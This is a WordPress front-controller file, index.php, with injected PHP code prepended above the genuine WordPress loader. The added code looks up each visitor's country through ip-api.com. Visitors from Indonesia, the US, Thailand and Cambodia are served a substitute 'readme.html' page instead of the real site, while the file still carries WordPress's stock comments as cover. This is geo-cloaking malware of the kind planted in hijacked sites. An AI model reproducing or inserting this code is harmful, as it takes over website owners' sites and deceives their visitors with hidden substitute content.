<?php
function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

$ip = getUserIP();
$api_url = "http://ip-api.com/json/{$ip}";
$response = file_get_contents($api_url);
$data = json_decode($response, true);

if ($data['countryCode'] === 'ID' || $data['countryCode'] === 'US' || $data['countryCode'] === 'TH' || $data['countryCode'] === 'KH') {
    ob_start();
    include 'readme.html';
    $output = ob_get_clean();
    echo $output;
    exit();
}

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';